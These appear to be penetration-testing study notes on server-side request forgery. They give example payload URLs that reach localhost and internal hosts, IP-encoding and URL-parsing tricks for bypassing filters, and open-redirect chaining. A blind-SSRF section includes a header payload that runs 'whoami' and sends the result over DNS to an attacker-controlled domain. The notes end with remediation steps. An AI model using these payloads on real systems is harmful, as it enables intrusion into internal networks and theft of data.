Server-Side Request Forgery

Normally when an application seems to take internal URLs or network resources that may be able to be modified. This allows an attacker to cause the server-side application to make requests to an unintended location.

We can find a typical example of this vulnerability as follows:

• A web application allows users to retrieve images by specifying a URL

https://$url/fetch?url=http://$url/image.jpg

---

• If vulnerable we could replace the reference to the image location with an internal URL

https://$url/fetch?url=http://localhost/admin

---

• This also could work to reach an IP that is only reachable from the internal network

https://$url/fetch?url=http://$internalIP:$port/admin

If we don't know the exact host in the internal network we scan it with the BurpSuite Intruder option by changing the target IP. Ex: 192.168.0.X we could iterate the X value until found a valid host response

---

• In some cases there are white-listed or black-listed values. We can have different approaches to bypass this verifications:

Case 1

When blocking IP inputs such as localhost or 127.0.0.1, we can register our own domain name that resolves to 127.0.0.1

• BurpSuite offers the domain spoofed.burpcollaborator.net for this purpose

• If we obtain a 421 or 500 error it could mean its working but we need other payload

Case 2

When blocking IP inputs such as localhost or 127.0.0.1, we can use a representation of the IP such as:

• An integer representation like 2130706433

• An integer representation like 017700000001

• A shorthand like 127.1

Case 3

Exploiting inconsistencies in URL parsing by checking if arbitrary values are acepted, for example:

http://$username@$expected-host       #Embeded credentials
http://$evil-host#$expected-host      #Indicate a fragment
http://$expected-host.$evil-host      #Abuse DNS hierarchy
http://$evil-host#@$expected-host     #Combine techniques
http://$evil-host%25%32%33@$expected-host/$target #And combine URL encoding

Case 4

We can abuse Open Redirection to bypass some SSRF validations

#We found a route that makes a rediretion in the URL
/$vuln$point/$query?path=http://$redirection

# This triggers the open redirection on the parameter which we could abuse on a SSRF vulnerable point that validatesthe supplied URL is on the domain
https://$url/fetch?url=/$vuln$point/$query?path=http://$payload

Blind SSRF

When the response a back-end request to a supplied URL is not returned in the application's front-end response. To detect them is recommended to use out-of-band techniques, to trigger an HTTP request to a domain that we control and monitoring the interactions with that system. For example:

• A site uses software which fetches the URL specified in the Referer header when a page is loaded

#We change the header and make the site fetch our domain
Referer: http://$ourDomain

---

• We can use BurpSuite Collaborator as our controlled domain to check the interactions

  • Add the target to the scope

  • Go to the Extensions tab and add/enable the Collaborator Everywhere extension

  • Intercept and forward a petition with every check payload

  • In the Issues section of the Target tab check if any header was detected to be vulnerable

---

• For example, we found the User-Agent is vulnerable to a RCE

# We change the header and make the site fetch our domain
User-Agent: /usr/bin/nslookup $(whoami).<OurDomain> #This could change depending on the vulnerability
Referer: http://192.168.0.1:8080  # We set the internal point to reach, and we could use intruder to find a host and port that answer

After this we can go to Collaborator tab and hit and click Poll now. We should see a DNS interaction where the answer to th RCE should appear in the DNS subdomain

Remediation Actions for SSRF

• Avoid using user-supplied URLs directly in server-side HTTP requests

• Only allow URLs that match a strict allowlist (specific domains or IP ranges)

• Block internal network access from the server if not required

• Disable unnecessary URL schemes such as file://, gopher://, php:// or ftp://

• Use DNS pinning or validation to ensure domain resolution isn’t bypassed to internal IPs

• Avoid redirects if unnecessary

• Deploy firewall rules to limit which hosts and ports your application can reach externally